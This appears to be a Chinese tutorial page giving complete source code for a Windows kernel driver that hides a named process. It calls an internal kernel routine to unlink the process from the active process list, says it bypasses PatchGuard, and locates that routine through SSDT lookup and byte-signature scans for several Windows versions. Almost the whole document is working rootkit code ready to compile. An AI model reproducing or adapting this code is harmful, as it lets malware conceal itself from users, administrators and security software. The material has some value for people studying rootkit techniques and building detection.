| BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName) { PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; ULONG ulOffset = 0; HANDLE hProcessId = NULL; PUCHAR pszProcessName = NULL; typedef_MiProcessLoaderEntry pMiProcessLoaderEntry = NULL; pMiProcessLoaderEntry = (typedef_MiProcessLoaderEntry)GetFuncAddr_MiProcessLoaderEntry(); if (NULL == pMiProcessLoaderEntry) return FALSE; DbgPrint("pMiProcessLoaderEntry[0x%p]\n", pMiProcessLoaderEntry); ulOffset = GetActiveProcessLinksOffset(); if (0 == ulOffset) { DbgPrint("GetActiveProcessLinksOffset Error!\n"); return FALSE; }; pFirstEProcess = PsGetCurrentProcess(); pEProcess = pFirstEProcess; do { hProcessId = PsGetProcessId(pEProcess); pszProcessName = PsGetProcessImageFileName(pEProcess); if (0 == _stricmp(pszProcessName, pszHideProcessName)) { pMiProcessLoaderEntry((PVOID)((PUCHAR)pEProcess + ulOffset), FALSE); DbgPrint("[Hide Process][%d][%s]\n", hProcessId, pszProcessName); break; }; pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset); } while (pFirstEProcess != pEProcess); return TRUE; };
|
源代码
Driver.h:
1 2 3 4 5 6 7 8 9 10 11 12
| #ifndef _DRIVER_H_ #define _DRIVER_H_
#include <ntddk.h>
VOID DriverUnload(PDRIVER_OBJECT pDriverObject); NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp);
#endif
|
EnumProcess.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #ifndef _ENUM_PROCESS_H_ #define _ENUM_PROCESS_H_
#include <ntddk.h>
PUCHAR PsGetProcessImageFileName(PEPROCESS pEprocess);
BOOLEAN EnumProcess();
BOOLEAN HideProcess(PUCHAR pszHideProcessName);
BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName);
ULONG GetActiveProcessLinksOffset();
#endif
|
GetMiProcessLoaderEntry.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #ifndef _GET_MIPROCESSLOADERENTRY_H_ #define _GET_MIPROCESSLOADERENTRY_H_
#include <ntddk.h>
#ifndef _WIN64 typedef NTSTATUS(__stdcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); #else typedef NTSTATUS(__fastcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); #endif
PVOID GetFuncAddr_MiProcessLoaderEntry();
PVOID GetFuncAddr_MmLoadSystemImage();
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength);
#endif
|
SSDTFunction.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| #ifndef _SSDT_FUNCTION_H_ #define _SSDT_FUNCTION_H_
#include <ntddk.h> #include <ntimage.h>
#ifndef _WIN64 #pragma pack(1) typedef struct _SERVICE_DESCIPTOR_TABLE { PULONG ServiceTableBase; PULONG ServiceCounterTableBase; ULONG NumberOfService; PUCHAR ParamTableBase; }SSDTEntry, *PSSDTEntry; #pragma pack() extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;
#else #pragma pack(1) typedef struct _SERVICE_DESCIPTOR_TABLE { PULONG ServiceTableBase; PVOID ServiceCounterTableBase; ULONGLONG NumberOfService; PVOID ParamTableBase; }SSDTEntry, *PSSDTEntry; #pragma pack()
#endif
PVOID GetSSDTFunction(PCHAR pszFunctionName);
PVOID GetSSDTAddress();
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName);
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress);
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName);
#endif
|
Driver.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| #include "Driver.h" #include "EnumProcess.h"
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) { DbgPrint("Enter DriverEntry\n");
NTSTATUS status = STATUS_SUCCESS; pDriverObject->DriverUnload = DriverUnload; for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { pDriverObject->MajorFunction[i] = DriverDefaultHandle; }
HideProcess_Bypass_PatchGuard("520.exe");
DbgPrint("Leave DriverEntry\n"); return status; }
VOID DriverUnload(PDRIVER_OBJECT pDriverObject) { }
NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) { NTSTATUS status = STATUS_SUCCESS; pIrp->IoStatus.Status = status; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return status; }
|
EnumProcess.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177
| #include "EnumProcess.h" #include "GetMiProcessLoaderEntry.h"
BOOLEAN EnumProcess() { PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; ULONG ulOffset = 0; HANDLE hProcessId = NULL; PUCHAR pszProcessName = NULL; ulOffset = GetActiveProcessLinksOffset(); if (0 == ulOffset) { DbgPrint("GetActiveProcessLinksOffset Error!\n"); return FALSE; }
pFirstEProcess = PsGetCurrentProcess(); pEProcess = pFirstEProcess;
do { hProcessId = PsGetProcessId(pEProcess); pszProcessName = PsGetProcessImageFileName(pEProcess); DbgPrint("[%d]%s\n", hProcessId, pszProcessName);
pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);
} while (pFirstEProcess != pEProcess);
return TRUE; }
BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName) { PEPROCESS pFirstEProcess = NULL, pEProcess = NULL; ULONG ulOffset = 0; HANDLE hProcessId = NULL; PUCHAR pszProcessName = NULL; typedef_MiProcessLoaderEntry pMiProcessLoaderEntry = NULL;
pMiProcessLoaderEntry = (typedef_MiProcessLoaderEntry)GetFuncAddr_MiProcessLoaderEntry(); if (NULL == pMiProcessLoaderEntry) { return FALSE; } DbgPrint("pMiProcessLoaderEntry[0x%p]\n", pMiProcessLoaderEntry);
ulOffset = GetActiveProcessLinksOffset(); if (0 == ulOffset) { DbgPrint("GetActiveProcessLinksOffset Error!\n"); return FALSE; }
pFirstEProcess = PsGetCurrentProcess(); pEProcess = pFirstEProcess;
do { hProcessId = PsGetProcessId(pEProcess); pszProcessName = PsGetProcessImageFileName(pEProcess);
if (0 == _stricmp(pszProcessName, pszHideProcessName)) { pMiProcessLoaderEntry((PVOID)((PUCHAR)pEProcess + ulOffset), FALSE); DbgPrint("[Hide Process][%d][%s]\n", hProcessId, pszProcessName); break; }
pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);
} while (pFirstEProcess != pEProcess);
return TRUE; }
ULONG GetActiveProcessLinksOffset() { ULONG ulOffset = 0; RTL_OSVERSIONINFOW osInfo = {0}; NTSTATUS status = STATUS_SUCCESS; status = RtlGetVersion(&osInfo); if (!NT_SUCCESS(status)) { DbgPrint("RtlGetVersion Error[0x%X]\n", status); return ulOffset; } switch (osInfo.dwMajorVersion) { case 6: { switch (osInfo.dwMinorVersion) { case 1: { #ifdef _WIN64 ulOffset = 0x188; #else ulOffset = 0x0B8; #endif break; } case 2: { #ifdef _WIN64 #else #endif break; } case 3: { #ifdef _WIN64 ulOffset = 0x2E8; #else ulOffset = 0x0B8; #endif break; } default: break; } break; } case 10: { #ifdef _WIN64 ulOffset = 0x2F0; #else ulOffset = 0x0B8; #endif break; } default: break; }
return ulOffset; }
|
GetMiProcessLoaderEntry.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335
| #include "GetMiProcessLoaderEntry.h" #include "SSDTFunction.h"
PVOID GetFuncAddr_MiProcessLoaderEntry() { NTSTATUS status = STATUS_SUCCESS; RTL_OSVERSIONINFOW osVersionInfo = { 0 }; PVOID pMmLoadSystemImage = NULL; PVOID pMiConstructLoaderEntry = NULL; PVOID pMiProcessLoaderEntry = NULL; UCHAR pSpecialCode[256] = { 0 }; ULONG ulSpecialCodeLength = 256; ULONG ulSearchLength = 0x1000; PVOID pSearchResultAddr = NULL; LONG lOffset = 0; RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);
pMmLoadSystemImage = GetFuncAddr_MmLoadSystemImage(); if (NULL == pMmLoadSystemImage) { return pMiProcessLoaderEntry; } DbgPrint("pMmLoadSystemImage[0x%p]\n", pMmLoadSystemImage);
RtlGetVersion(&osVersionInfo); if (6 == osVersionInfo.dwMajorVersion) { if (1 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x6a; pSpecialCode[1] = 0x01; pSpecialCode[2] = 0x56; pSpecialCode[3] = 0xe8; ulSpecialCodeLength = 4; #else pSpecialCode[0] = 0xba; pSpecialCode[1] = 0x01; pSpecialCode[2] = 0x00; pSpecialCode[3] = 0x00; pSpecialCode[4] = 0x00; pSpecialCode[5] = 0x48; pSpecialCode[6] = 0x8b; pSpecialCode[7] = 0xcd; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; #endif } else if (2 == osVersionInfo.dwMinorVersion) { } else if (3 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x89; pSpecialCode[1] = 0x74; pSpecialCode[2] = 0x24; pSpecialCode[3] = 0x1c; pSpecialCode[4] = 0x8b; pSpecialCode[5] = 0xcf; pSpecialCode[6] = 0xe8; ulSpecialCodeLength = 7; #else pSpecialCode[0] = 0x41; pSpecialCode[1] = 0x83; pSpecialCode[2] = 0xcc; pSpecialCode[3] = 0x04; pSpecialCode[4] = 0xe8; ulSpecialCodeLength = 5; #endif } } else if (10 == osVersionInfo.dwMajorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x8d; pSpecialCode[1] = 0x54; pSpecialCode[2] = 0x24; pSpecialCode[3] = 0x4c; pSpecialCode[4] = 0x50; pSpecialCode[5] = 0xe8; ulSpecialCodeLength = 6; pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMiProcessLoaderEntry; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); pSpecialCode[0] = 0x8b; pSpecialCode[1] = 0xcb; pSpecialCode[2] = 0x42; pSpecialCode[3] = 0xe8; ulSpecialCodeLength = 4; pMmLoadSystemImage = pMiConstructLoaderEntry; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8b; pSpecialCode[2] = 0xcf; pSpecialCode[3] = 0x89; pSpecialCode[4] = 0x44; pSpecialCode[5] = 0x24; pSpecialCode[6] = 0x20; pSpecialCode[7] = 0xe8; ulSpecialCodeLength = 8; pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMiProcessLoaderEntry; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); pSpecialCode[0] = 0xba; pSpecialCode[1] = 0x01; pSpecialCode[2] = 0x00; pSpecialCode[3] = 0x00; pSpecialCode[4] = 0x00; pSpecialCode[5] = 0x48; pSpecialCode[6] = 0x8b; pSpecialCode[7] = 0xcf; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; pMmLoadSystemImage = pMiConstructLoaderEntry; #endif } else { }
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMiProcessLoaderEntry; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMiProcessLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
return pMiProcessLoaderEntry; }
PVOID GetFuncAddr_MmLoadSystemImage() { NTSTATUS status = STATUS_SUCCESS; RTL_OSVERSIONINFOW osVersionInfo = { 0 }; PVOID pNtSetSystemInformation = NULL; PVOID pMmLoadSystemImage = NULL; UCHAR pSpecialCode[256] = { 0 }; ULONG ulSpecialCodeLength = 256; ULONG ulSearchLength = 0x1000; PVOID pSearchResultAddr = NULL; LONG lOffset = 0; RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);
pNtSetSystemInformation = GetSSDTFunction("NtSetSystemInformation"); if (NULL == pNtSetSystemInformation) { return pMmLoadSystemImage; }
RtlGetVersion(&osVersionInfo); if (6 == osVersionInfo.dwMajorVersion) { if (1 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0xd8; pSpecialCode[1] = 0x50; pSpecialCode[2] = 0xe8; ulSpecialCodeLength = 3; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8d; pSpecialCode[2] = 0x4c; pSpecialCode[3] = 0x24; pSpecialCode[4] = 0x38; pSpecialCode[5] = 0xe8; ulSpecialCodeLength = 6; #endif } else if (2 == osVersionInfo.dwMinorVersion) { } else if (3 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x8d; pSpecialCode[1] = 0x85; pSpecialCode[2] = 0x10; pSpecialCode[3] = 0xff; pSpecialCode[4] = 0xff; pSpecialCode[5] = 0xff; pSpecialCode[6] = 0x50; pSpecialCode[7] = 0xe8; ulSpecialCodeLength = 8; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8d; pSpecialCode[2] = 0x8c; pSpecialCode[3] = 0x24; pSpecialCode[4] = 0x00; pSpecialCode[5] = 0x02; pSpecialCode[6] = 0x00; pSpecialCode[7] = 0x00; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; #endif } } else if (10 == osVersionInfo.dwMajorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x8d; pSpecialCode[1] = 0x85; pSpecialCode[2] = 0x04; pSpecialCode[3] = 0xff; pSpecialCode[4] = 0xff; pSpecialCode[5] = 0xff; pSpecialCode[6] = 0x50; pSpecialCode[7] = 0xe8; ulSpecialCodeLength = 8; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8d; pSpecialCode[2] = 0x8c; pSpecialCode[3] = 0x24; pSpecialCode[4] = 0x48; pSpecialCode[5] = 0x02; pSpecialCode[6] = 0x00; pSpecialCode[7] = 0x00; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; #endif } else { }
pSearchResultAddr = SearchSpecialCode(pNtSetSystemInformation, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMmLoadSystemImage; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMmLoadSystemImage = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
return pMmLoadSystemImage; }
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength) { PVOID pDestAddr = NULL; PUCHAR pBeginAddr = (PUCHAR)pSearchBeginAddr; PUCHAR pEndAddr = pBeginAddr + ulSearchLength; PUCHAR i = NULL; ULONG j = 0;
for (i = pBeginAddr; i <= pEndAddr; i++) { for (j = 0; j < ulSpecialCodeLength; j++) { if (FALSE == MmIsAddressValid((PVOID)(i + j))) { break;; } if (*(PUCHAR)(i + j) != pSpecialCode[j]) { break; } } if (j >= ulSpecialCodeLength) { pDestAddr = (PVOID)i; break; } }
return pDestAddr; }
|
SSDTFunction.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190
| #include "SSDTFunction.h"
PVOID GetSSDTFunction(PCHAR pszFunctionName) { UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pFunctionAddress = NULL; PSSDTEntry pServiceDescriptorTable = NULL; ULONG ulOffset = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName);
pServiceDescriptorTable = GetSSDTAddress();
#ifndef _WIN64 pFunctionAddress = (PVOID)pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex]; #else ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); #endif
DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress);
return pFunctionAddress; }
PVOID GetSSDTAddress() { PVOID pServiceDescriptorTable = NULL; PVOID pKiSystemCall64 = NULL; UCHAR ulCode1 = 0; UCHAR ulCode2 = 0; UCHAR ulCode3 = 0; LONG lOffset = 0;
#ifndef _WIN64 pServiceDescriptorTable = (PVOID)(&KeServiceDescriptorTable); #else pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); for (ULONG i = 0; i < 1024; i++) { ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); if (0x4C == ulCode1 && 0x8D == ulCode2 && 0x15 == ulCode3) { lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); break; } } #endif
return pServiceDescriptorTable; }
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) { ULONG ulFunctionIndex = 0; NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; PVOID pBaseAddress = NULL;
status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); if (!NT_SUCCESS(status)) { KdPrint(("DllFileMap Error!\n")); return ulFunctionIndex; }
ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName);
ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); ZwClose(hSection); ZwClose(hFile);
return ulFunctionIndex; }
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) { NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; }
*phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress;
return status; }
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) { ULONG ulFunctionIndex = 0; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); ULONG ulNumberOfNames = pExportTable->NumberOfNames; PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); #ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); #else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); #endif break; } }
return ulFunctionIndex; }
|